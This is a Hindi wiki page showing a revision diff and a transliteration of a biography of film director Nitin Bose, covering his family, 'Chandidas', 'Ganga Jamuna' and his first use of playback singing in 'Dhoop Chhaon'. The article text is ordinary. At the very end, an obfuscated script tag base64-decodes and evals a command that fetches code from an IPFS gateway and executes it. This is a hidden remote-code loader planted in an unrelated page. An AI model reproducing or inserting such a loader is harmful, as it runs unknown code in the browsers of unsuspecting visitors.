Difference between revisions of "नितिन बोस"

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
Line 1: Line 1:
 
'''नितिन बोस''' ([[अंग्रेज़ी]]: Nitin Bose, जन्म- [[26 अप्रैल]], [[1897]], [[कलकत्ता]]; मृत्यु- [[14 अप्रैल]], [[1986]]) भारतीय सिनेमा के प्रारंभिक समर्थकों में से एक, प्रसिद्ध फ़िल्म निर्देशक, छायाकार और लेखक थे। वे कलकत्ता (वर्तमान [[कोलकाता]]) के प्रसिद्ध 'न्यू थियेटर्स' के पीछे की ताकत थे। वर्ष [[1935]] में उनकी [[बंगाली भाषा|बंगाली]] फ़िल्म 'भाग्य चक्र' में उन्होंने फ़िल्मों का पार्श्वगायन से परिचय करवाया था। बाद में यह फ़िल्म [[हिन्दी]] में 'धूप छाँव' नाम से बनाई गई। नितिन बोस ने अपने सिने कैरियर में छह मूक फ़िल्मों सहित 50 से भी अधिक फ़िल्मों का निर्देशन और छायांकन किया। उन्हे के. एल. सहगल और उत्तम कुमार के कैरियर को शुरू करने का श्रेय दिया जाता है। बाद में नितिन जी [[मुंबई]] आ गये थे और यहाँ फ़िल्म निर्देशन किया। उनकी सर्वश्रेष्ठ फ़िल्मों में से एक 'गंगा जमुना' को हिन्दी सिनेमा की सबसे बड़ी फ़िल्मों में से एक माना जाता है। उनके विशिष्ट योगदान के लिए उन्हें वर्ष [[1977]] में '[[दादा साहब फाल्के पुरस्कार]]' से सम्मानित किया गया था। नितिन बोस की फ़िल्म 'गंगा जमुना' का प्रसिद्ध गीत "इंसाफ की डगर पे, बच्चो दिखाओ चलके" ऐसा ही एक गीत था, जिसने नई पीढ़ी को उसके दायित्वों का अहसास कराया।
 
'''नितिन बोस''' ([[अंग्रेज़ी]]: Nitin Bose, जन्म- [[26 अप्रैल]], [[1897]], [[कलकत्ता]]; मृत्यु- [[14 अप्रैल]], [[1986]]) भारतीय सिनेमा के प्रारंभिक समर्थकों में से एक, प्रसिद्ध फ़िल्म निर्देशक, छायाकार और लेखक थे। वे कलकत्ता (वर्तमान [[कोलकाता]]) के प्रसिद्ध 'न्यू थियेटर्स' के पीछे की ताकत थे। वर्ष [[1935]] में उनकी [[बंगाली भाषा|बंगाली]] फ़िल्म 'भाग्य चक्र' में उन्होंने फ़िल्मों का पार्श्वगायन से परिचय करवाया था। बाद में यह फ़िल्म [[हिन्दी]] में 'धूप छाँव' नाम से बनाई गई। नितिन बोस ने अपने सिने कैरियर में छह मूक फ़िल्मों सहित 50 से भी अधिक फ़िल्मों का निर्देशन और छायांकन किया। उन्हे के. एल. सहगल और उत्तम कुमार के कैरियर को शुरू करने का श्रेय दिया जाता है। बाद में नितिन जी [[मुंबई]] आ गये थे और यहाँ फ़िल्म निर्देशन किया। उनकी सर्वश्रेष्ठ फ़िल्मों में से एक 'गंगा जमुना' को हिन्दी सिनेमा की सबसे बड़ी फ़िल्मों में से एक माना जाता है। उनके विशिष्ट योगदान के लिए उन्हें वर्ष [[1977]] में '[[दादा साहब फाल्के पुरस्कार]]' से सम्मानित किया गया था। नितिन बोस की फ़िल्म 'गंगा जमुना' का प्रसिद्ध गीत "इंसाफ की डगर पे, बच्चो दिखाओ चलके" ऐसा ही एक गीत था, जिसने नई पीढ़ी को उसके दायित्वों का अहसास कराया।
 
==जन्म व पारिवारिक परिचय==
 
==जन्म व पारिवारिक परिचय==
भारतीय सिनेमा में स्टूडियो युग के महान निर्देशक नितिन बोस का जन्म 26 अप्रैल, 1897 को कोलकता में हुआ था। इनके [[पिता]] का नाम हेमेन्द्र मोहन बोस तथा माता मृणालिनी थीं। नितिन बोस की माताजी मशहूर लेखक उपेन्द्रकिशोर रायचौधरी की बहन थीं। उपेन्द्रकिशोर प्रसिद्ध कवि सुकुमार राय के पिता और ख्याति प्राप्त फ़िल्म निर्माता-निर्देशक [[सत्यजीत राय]] के दादा थे।  
+
भारतीय सिनेमा में स्टूडियो युग के महान निर्देशक नितिन बोस का जन्म 26 अप्रैल, 1897 को कोलकता में हुआ था। इनके [[पिता]] का नाम हेमेन्द्र मोहन बोस तथा माता मृणालिनी थीं। नितिन बोस की माताजी मशहूर लेखक उपेन्द्रकिशोर रायचौधरी की बहन थीं। उपेन्द्रकिशोर प्रसिद्ध कवि सुकुमार राय के पिता और ख्याति प्राप्त फ़िल्म निर्माता-निर्देशक [[सत्यजीत राय]] के दादा थे। नितिन बोस के भाई मुकुल बोस का भी फ़िल्मी दुनिया से बहुत गहरा रिश्ता रहा, वे साउंड रिकॉर्डिस्ट के रूप में मशहूर थे।
 
==प्रथम फ़िल्म निर्देशन==
 
==प्रथम फ़िल्म निर्देशन==
नितिन बोस अपनी किशोरावस्था से ही अपने दोस्तों और घर परिवार के लोगों के बीच बेहद प्रतिभाशाली गिने जाते थे। शुरू में वह सिनेमैटोग्राफर थे, लेकिन सन [[1934]] में उन्होंने जब एक बार फ़िल्म निर्देशन पर अपना हाथ आजमाया तो फिर कभी पीछे मुड़ कर नहीं देखा। उनके मन में निर्देशन की पहली बार इच्छा उस समय जोर मारने लगी, जब उन्होंने देवकी बोस के मुँह से 'चंडीदास' फ़िल्म की पटकथा सुनी। उन्होंने सही मायनों में देवकी बोस के साथ मिल कर भारतीय रोमांटिक सिने युग की नींव डाली। जब उन्होंने 'चंडीदास' की पटकथा सुनी तो अपने आपको 'न्यू थियेटर्स' के मालिक बीरेंद्रनाथ सरकार से यह कहने से नहीं रोक पाए कि मैं भी फ़िल्म निर्देशन करूँगा। उन्हें हिन्दी में 'चंडीदास' को निर्देशित करने का दायित्व सौंपा गया, इस पर वह पूरी तरह से खरे उतरे। उन्होंने अपनी प्रतिभा के बल पर फ़िल्म 'चंडीदास' को भावनात्मक और तकनीकी दृष्टि से एक महान शाहकार बना दिया था।
+
नितिन बोस अपनी किशोरावस्था से ही अपने दोस्तों और घर परिवार के लोगों के बीच बेहद प्रतिभाशाली गिने जाते थे। शुरू में वह सिनेमैटोग्राफर थे, लेकिन सन [[1934]] में उन्होंने जब एक बार फ़िल्म निर्देशन पर अपना हाथ आजमाया तो फिर कभी पीछे मुड़ कर नहीं देखा। उनके मन में निर्देशन की पहली बार इच्छा उस समय जोर मारने लगी, जब उन्होंने देवकी बोस के मुँह से 'चंडीदास' फ़िल्म की पटकथा सुनी। उन्होंने सही मायनों में देवकी बोस के साथ मिल कर भारतीय रोमांटिक सिने युग की नींव डाली। जब उन्होंने 'चंडीदास' की पटकथा सुनी तो अपने आपको 'न्यू थियेटर्स' के मालिक बीरेंद्रनाथ सरकार से यह कहने से नहीं रोक पाए कि मैं भी फ़िल्म निर्देशन करूँगा। उन्हें हिन्दी में 'चंडीदास' को निर्देशित करने का दायित्व सौंपा गया, इस पर वह पूरी तरह से खरे उतरे। उन्होंने अपनी प्रतिभा के बल पर फ़िल्म 'चंडीदास' को भावनात्मक और तकनीकी दृष्टि से एक महान शाहकार बना दिया था।<ref>{{cite web |url=http://ranchiexpress.com/208572|title=विचार और भावना की कॉकलेट के उस्ताद|accessmonthday=14 जनवरी|accessyear=2013|last= |first= |authorlink= |format= |publisher= |language=[[हिन्दी]]}}</ref>
===='गंगा-जमुना' की सफलता====
+
=='गंगा-जमुना' की सफलता==
भारतीय [[हिन्दी]] सिनेमा की कालजयी फ़िल्मों की सूची जब भी बनायी जायेगी, उसमें 'गंगा-जमुना' को ज़रूर रखा जाएगा। फ़िल्म 'गंगा-जमुना' न सिर्फ़ भारतीय समाज का महाकाव्यीय चित्रण करती है बल्कि समाज के भौतिकवादी विचारबोध को भी सुसंगत क्रम देती है। 'गंगा-जमुना' का ही शहरी रीमेक बाद में फ़िल्म '[[दीवार (फ़िल्म)|दीवार]]' के रूप में सामने आया। क्योंकि वक्त बदलने से जीवन शैली का ढंग भले बदल गया हो, उपभोग में आने वाली वस्तुओं की गुणवत्ता और उपभोग का ढंग भले नफासत से परिपूर्ण हो गया हो, मगर नतीजा वही रहता है। इसीलिए दौर कोई भी हो 'गंगा-जमुना' भव्य ही लगती है और आकर्षक भी। [[दिलीप कुमार]] और [[वैजयंती माला]] ने इस फिल्म में अद्भुत अभिनय किया है, लेकिन असली श्रेय तो निर्देशक नितिन बोस को ही जायेगा, क्योंकि 'गंगा-जमुना' को प्रस्तुत करने की कल्पनाशीलता तो उन्हीं की थी।
+
भारतीय [[हिन्दी]] सिनेमा की कालजयी फ़िल्मों की सूची जब भी बनायी जायेगी, उसमें 'गंगा-जमुना' को ज़रूर रखा जाएगा। फ़िल्म 'गंगा-जमुना' न सिर्फ़ भारतीय समाज का महाकाव्यीय चित्रण करती है बल्कि समाज के भौतिकवादी विचारबोध को भी सुसंगत क्रम देती है। 'गंगा-जमुना' का ही शहरी रीमेक बाद में फ़िल्म '[[दीवार (फ़िल्म)|दीवार]]' के रूप में सामने आया। क्योंकि वक्त बदलने से जीवन शैली का ढंग भले बदल गया हो, उपभोग में आने वाली वस्तुओं की गुणवत्ता और उपभोग का ढंग भले नफासत से परिपूर्ण हो गया हो, मगर नतीजा वही रहता है। इसीलिए दौर कोई भी हो 'गंगा-जमुना' भव्य ही लगती है और आकर्षक भी। [[दिलीप कुमार]] और [[वैजयंती माला]] ने इस फ़िल्म में अद्भुत अभिनय किया है, लेकिन असली श्रेय तो निर्देशक नितिन बोस को ही जायेगा, क्योंकि 'गंगा-जमुना' को प्रस्तुत करने की कल्पनाशीलता तो उन्हीं की थी।
 +
====अन्य फ़िल्में====
 +
*नितिन बोस भारतीय सिनेमा की वह शख्सियत थे, जिन्होंने सिनेमा के माध्यम से इंसान की सूक्ष्मतम अनुभूतियों को पकड़ने और उनको उभारने का काम किया। 'चंडीदास' फ़िल्म की अपनी सफलता के बाद उन्होंने [[1934]] में अपनी अगली फ़िल्म 'डाकू मंसूर' का निर्देशन किया। यह एक सामाजिक फ़िल्म थी और अप्रत्यक्ष रूप से [[हिन्दू]]-[[मुस्लिम]] भाईचारे पर आधारित थी, लेकिन तत्कालीन [[अंग्रेज़]] सरकार ने इस पर साम्प्रदायिकता का ठप्पा लगाते हुए इसे प्रतिबंधित कर दिया था।
 +
*[[जनवरी]], [[1936]] में नितिन बोस द्वारा निर्देशित एक फ़िल्म रिलीज हुई 'धूपछाँव', जिसमें के.सी. डे., उमाशीश तथा पहाड़ी सान्याल जैसे गायक-अभिनेताओं ने काम किया था और उनके द्वारा गाए गए इस फ़िल्म के सभी गीत लोकप्रिय हुए थे, किंतु दो गीत, 'अंधे की लाठी तू ही है, तू ही जीवन-उजियारा है' तथा 'जीवन का सुख आज प्रभु मोहे' खासतौर पर चर्चित हुए। फ़िल्म में ये गीत के.सी. डे द्वारा गाये गए थे और उन्हीं पर इनका फ़िल्मांकन भी हुआ था। मगर बाद में ग्रामोफोन रिकॉर्ड पर जारी करने के लिए इन्हें [[कुंदनलाल सहगल]] से गवाया गया और यही इन गीतों की विशेष चर्चा का कारण बना। इन पर कुंदनलाल सहगल की छाप लग गई। हालांकि फ़िल्म में सहगल की कोई भूमिका नहीं थी और न ही कोई गाना उन पर फ़िल्माया गया था, फिर भी उनके स्वर में इन गानों की लोकप्रियता के चलते लोगों ने उनका संबंध इस फ़िल्म के साथ जोड़ लिया और सहगल द्वारा अभिनीत फ़िल्मों की सूची में इस फ़िल्म का नाम शुमार किया जाने लगा।
 +
==पार्श्वगायन का प्रथम प्रयोग==
 +
फ़िल्म 'धूपछाँव' की एक और खास बात यह थी कि इसमें निर्देशक नितिन बोस ने संगीतकार आर.सी. बोराल व [[पंकज मलिक]] तथा साउंड रिकॉर्डिस्ट मुकुल बोस की सहायता से पारुल घोष, सुप्रभा सरकार एवं हरिमती के स्वरों में एक गीत रिकॉर्ड करके पार्श्वगायन का पहला प्रयोग किया था। मगर नितिन बोस के मन में यह कल्पना कैसे उत्पन्न हुई, इसकी भी एक कहानी है-
 +
 
 +
एक दिन नितिन बोस सुबह के वक्त पंकज मलिक से मिलने उनके घर गए, तो पंकज बाबू नहा रहे थे। नितिन बोस बाहर कमरे में बैठकर उनका इंतज़ार करने लगे। वहाँ रेडियो चालू था और उस पर एक गीत प्रसारित हो रहा था। उधर बाथरूम से पंकज बाबू के गाने के स्वर आ रहे थे। अचानक नितिन बोस ने लक्ष्य किया कि पंकज बाबू वही गाना गा रहे हैं, जो रेडियो पर प्रसारित हो रहा था। वे रेडियो के स्वर में स्वर मिलाकर गा रहे थे। बस फिर क्या था, नितिन बोस के मानस पटल पर पलक झपकते ही एक तकनीकी क्रांति का ख़ाका स्पष्ट हो गया। जैसे ही पंकज बाबू नहाकर बाहर निकले, नितिन बोस एक बच्चे की तरह अधीर होकर बोले- "दादा, आप रेडियो के स्वर में स्वर मिलाकर गा रहे थे?" पंकज मलिक ने कहा- "हाँ, मैं गा रहा था"। "क्या वह प्रयोग फ़िल्मों में नहीं किया जा सकता?" उत्साह के अतिरेक में उत्तेजित होकर नितिन बोस ने सवाल किया। पंकज बाबू एकदम समझ नहीं पाए कि नितिन बोस क्या कहना चाहते हैं। उन्होंने कहा- "मतलब"? इस पर नितिन बोस ने उनसे कहा कि "मतलब यह कि गाने की रिकॉर्डिंग पहले कर ली जाए और फ़िल्मांकन के समय अभिनेता उस रिकॉर्डिंग को सुनकर उसके अनुसार होंठ हिलाते हुए अभिनय करे।" पंकज बाबू ने कहा- "अद्भुत कल्पना है नितिन। इसे साकार करने के लिए हम प्रयोग करेंगे... हर कीमत पर करेंगे।" और इस तरह फ़िल्मों में पार्श्वगायन की पद्धति का सूत्रपात हुआ, जिसने विश्व सिनेमा का चेहरा ही बदल दिया।<ref>{{cite web |url=http://books.google.co.in/books?id=SwHibrHtu50C&pg=PA164&lpg=PA164&dq=%E0%A4%A8%E0%A4%BF%E0%A4%A4%E0%A4%BF%E0%A4%A8+%E0%A4%AC%E0%A5%8B%E0%A4%B8&source=bl&ots=ovS2H8MnyI&sig=2BnMfg0dFPrOf_G6CVHCGkFl1H8&hl=hi&sa=X&ei=HJrzUOapDofZkQWNwIGYAQ&ved=0CEYQ6AEwBQ#v=onepage&q=%E0%A4%A8%E0%A4%BF%E0%A4%A4%E0%A4%BF%E0%A4%A8%20%E0%A4%AC%E0%A5%8B%E0%A4%B8&f=false|title=1936 की फ़िल्में|accessmonthday=14 जनवरी|accessyear=2013|last= |first= |authorlink= |format= |publisher= |language=[[हिन्दी]]}}</ref>
  
नितिन बोस भारतीय सिनेमा की वह शख्सियत थे, जिन्होंने सिनेमा के माध्यम से इंसान की सूक्ष्मतम अनुभूतियों को पकड़ने और उनको उभारने का काम किया। 'चंडीदास' फिल्म की अपनी सफलता के बाद उन्होंने [[1934]] में अपनी अगली फिल्म 'डाकू मंसूर' का निर्देशन किया। यह एक सामाजिक फिल्म थी और अप्रत्यक्ष रूप से [[हिन्दू]]-[[मुस्लिम]] भाईचारे पर आधारित थी, लेकिन तत्कालीन [[अंग्रेज़]] सरकार ने इस पर साम्प्रदायिकता का ठप्पा लगाते हुए इसे प्रतिबंधित कर दिया था।
 
  
 
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1 |माध्यमिक= |पूर्णता= |शोध= }}
 
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1 |माध्यमिक= |पूर्णता= |शोध= }}

Revision as of 07:16, 14 January 2013

nitin bos (aangrezi: Nitin Bose, janm- 26 aprail, 1897, kalakatta; mrityu- 14 aprail, 1986) bharatiy sinema ke praranbhik samarthakoan mean se ek, prasiddh film nirdeshak, chhayakar aur lekhak the. ve kalakatta (vartaman kolakata) ke prasiddh 'nyoo thiyetars' ke pichhe ki takat the. varsh 1935 mean unaki bangali film 'bhagy chakr' mean unhoanne filmoan ka parshvagayan se parichay karavaya tha. bad mean yah film hindi mean 'dhoop chhaanv' nam se banaee gee. nitin bos ne apane sine kairiyar mean chhah mook filmoan sahit 50 se bhi adhik filmoan ka nirdeshan aur chhayaankan kiya. unhe ke. el. sahagal aur uttam kumar ke kairiyar ko shuroo karane ka shrey diya jata hai. bad mean nitin ji muanbee a gaye the aur yahaan film nirdeshan kiya. unaki sarvashreshth filmoan mean se ek 'ganga jamuna' ko hindi sinema ki sabase b di filmoan mean se ek mana jata hai. unake vishisht yogadan ke lie unhean varsh 1977 mean 'dada sahab phalke puraskar' se sammanit kiya gaya tha. nitin bos ki film 'ganga jamuna' ka prasiddh git "iansaph ki dagar pe, bachcho dikhao chalake" aisa hi ek git tha, jisane nee pidhi ko usake dayitvoan ka ahasas karaya.

janm v parivarik parichay

bharatiy sinema mean stoodiyo yug ke mahan nirdeshak nitin bos ka janm 26 aprail, 1897 ko kolakata mean hua tha. inake pita ka nam hemendr mohan bos tatha mata mrinalini thian. nitin bos ki mataji mashahoor lekhak upendrakishor rayachaudhari ki bahan thian. upendrakishor prasiddh kavi sukumar ray ke pita aur khyati prapt film nirmata-nirdeshak satyajit ray ke dada the. nitin bos ke bhaee mukul bos ka bhi filmi duniya se bahut gahara rishta raha, ve sauand rik aaurdist ke roop mean mashahoor the.

pratham film nirdeshan

nitin bos apani kishoravastha se hi apane dostoan aur ghar parivar ke logoan ke bich behad pratibhashali gine jate the. shuroo mean vah sinemaitographar the, lekin san 1934 mean unhoanne jab ek bar film nirdeshan par apana hath ajamaya to phir kabhi pichhe mu d kar nahian dekha. unake man mean nirdeshan ki pahali bar ichchha us samay jor marane lagi, jab unhoanne devaki bos ke muanh se 'chandidas' film ki patakatha suni. unhoanne sahi mayanoan mean devaki bos ke sath mil kar bharatiy romaantik sine yug ki nianv dali. jab unhoanne 'chandidas' ki patakatha suni to apane apako 'nyoo thiyetars' ke malik bireandranath sarakar se yah kahane se nahian rok pae ki maian bhi film nirdeshan karooanga. unhean hindi mean 'chandidas' ko nirdeshit karane ka dayitv sauanpa gaya, is par vah poori tarah se khare utare. unhoanne apani pratibha ke bal par film 'chandidas' ko bhavanatmak aur takaniki drishti se ek mahan shahakar bana diya tha.[1]

'ganga-jamuna' ki saphalata

bharatiy hindi sinema ki kalajayi filmoan ki soochi jab bhi banayi jayegi, usamean 'ganga-jamuna' ko zaroor rakha jaega. film 'ganga-jamuna' n sirf bharatiy samaj ka mahakavyiy chitran karati hai balki samaj ke bhautikavadi vicharabodh ko bhi susangat kram deti hai. 'ganga-jamuna' ka hi shahari rimek bad mean film 'divar' ke roop mean samane aya. kyoanki vakt badalane se jivan shaili ka dhang bhale badal gaya ho, upabhog mean ane vali vastuoan ki gunavatta aur upabhog ka dhang bhale naphasat se paripoorn ho gaya ho, magar natija vahi rahata hai. isilie daur koee bhi ho 'ganga-jamuna' bhavy hi lagati hai aur akarshak bhi. dilip kumar aur vaijayanti mala ne is film mean adbhut abhinay kiya hai, lekin asali shrey to nirdeshak nitin bos ko hi jayega, kyoanki 'ganga-jamuna' ko prastut karane ki kalpanashilata to unhian ki thi.

any filmean

  • nitin bos bharatiy sinema ki vah shakhsiyat the, jinhoanne sinema ke madhyam se iansan ki sookshmatam anubhootiyoan ko pak dane aur unako ubharane ka kam kiya. 'chandidas' film ki apani saphalata ke bad unhoanne 1934 mean apani agali film 'dakoo mansoor' ka nirdeshan kiya. yah ek samajik film thi aur apratyaksh roop se hindoo-muslim bhaeechare par adharit thi, lekin tatkalin aangrez sarakar ne is par sampradayikata ka thappa lagate hue ise pratibandhit kar diya tha.
  • janavari, 1936 mean nitin bos dvara nirdeshit ek film rilij huee 'dhoopachhaanv', jisamean ke.si. de., umashish tatha paha di sanyal jaise gayak-abhinetaoan ne kam kiya tha aur unake dvara gae ge is film ke sabhi git lokapriy hue the, kiantu do git, 'aandhe ki lathi too hi hai, too hi jivan-ujiyara hai' tatha 'jivan ka sukh aj prabhu mohe' khasataur par charchit hue. film mean ye git ke.si. de dvara gaye ge the aur unhian par inaka filmaankan bhi hua tha. magar bad mean gramophon rik aaurd par jari karane ke lie inhean kuandanalal sahagal se gavaya gaya aur yahi in gitoan ki vishesh charcha ka karan bana. in par kuandanalal sahagal ki chhap lag gee. halaanki film mean sahagal ki koee bhoomika nahian thi aur n hi koee gana un par filmaya gaya tha, phir bhi unake svar mean in ganoan ki lokapriyata ke chalate logoan ne unaka sanbandh is film ke sath jo d liya aur sahagal dvara abhinit filmoan ki soochi mean is film ka nam shumar kiya jane laga.

parshvagayan ka pratham prayog

film 'dhoopachhaanv' ki ek aur khas bat yah thi ki isamean nirdeshak nitin bos ne sangitakar ar.si. boral v pankaj malik tatha sauand rik aaurdist mukul bos ki sahayata se parul ghosh, suprabha sarakar evan harimati ke svaroan mean ek git rik aaurd karake parshvagayan ka pahala prayog kiya tha. magar nitin bos ke man mean yah kalpana kaise utpann huee, isaki bhi ek kahani hai-

ek din nitin bos subah ke vakt pankaj malik se milane unake ghar ge, to pankaj baboo naha rahe the. nitin bos bahar kamare mean baithakar unaka iantazar karane lage. vahaan rediyo chaloo tha aur us par ek git prasarit ho raha tha. udhar batharoom se pankaj baboo ke gane ke svar a rahe the. achanak nitin bos ne lakshy kiya ki pankaj baboo vahi gana ga rahe haian, jo rediyo par prasarit ho raha tha. ve rediyo ke svar mean svar milakar ga rahe the. bas phir kya tha, nitin bos ke manas patal par palak jhapakate hi ek takaniki kraanti ka khaka spasht ho gaya. jaise hi pankaj baboo nahakar bahar nikale, nitin bos ek bachche ki tarah adhir hokar bole- "dada, ap rediyo ke svar mean svar milakar ga rahe the?" pankaj malik ne kaha- "haan, maian ga raha tha". "kya vah prayog filmoan mean nahian kiya ja sakata?" utsah ke atirek mean uttejit hokar nitin bos ne saval kiya. pankaj baboo ekadam samajh nahian pae ki nitin bos kya kahana chahate haian. unhoanne kaha- "matalab"? is par nitin bos ne unase kaha ki "matalab yah ki gane ki rik aaurdiang pahale kar li jae aur filmaankan ke samay abhineta us rik aaurdiang ko sunakar usake anusar hoanth hilate hue abhinay kare." pankaj baboo ne kaha- "adbhut kalpana hai nitin. ise sakar karane ke lie ham prayog kareange... har kimat par kareange." aur is tarah filmoan mean parshvagayan ki paddhati ka sootrapat hua, jisane vishv sinema ka chehara hi badal diya.[2]


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

tika tippani aur sandarbh

  1. vichar aur bhavana ki k aaukalet ke ustad (hindi). . abhigaman tithi: 14 janavari, 2013.
  2. 1936 ki filmean (hindi). . abhigaman tithi: 14 janavari, 2013.

bahari k diyaan

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>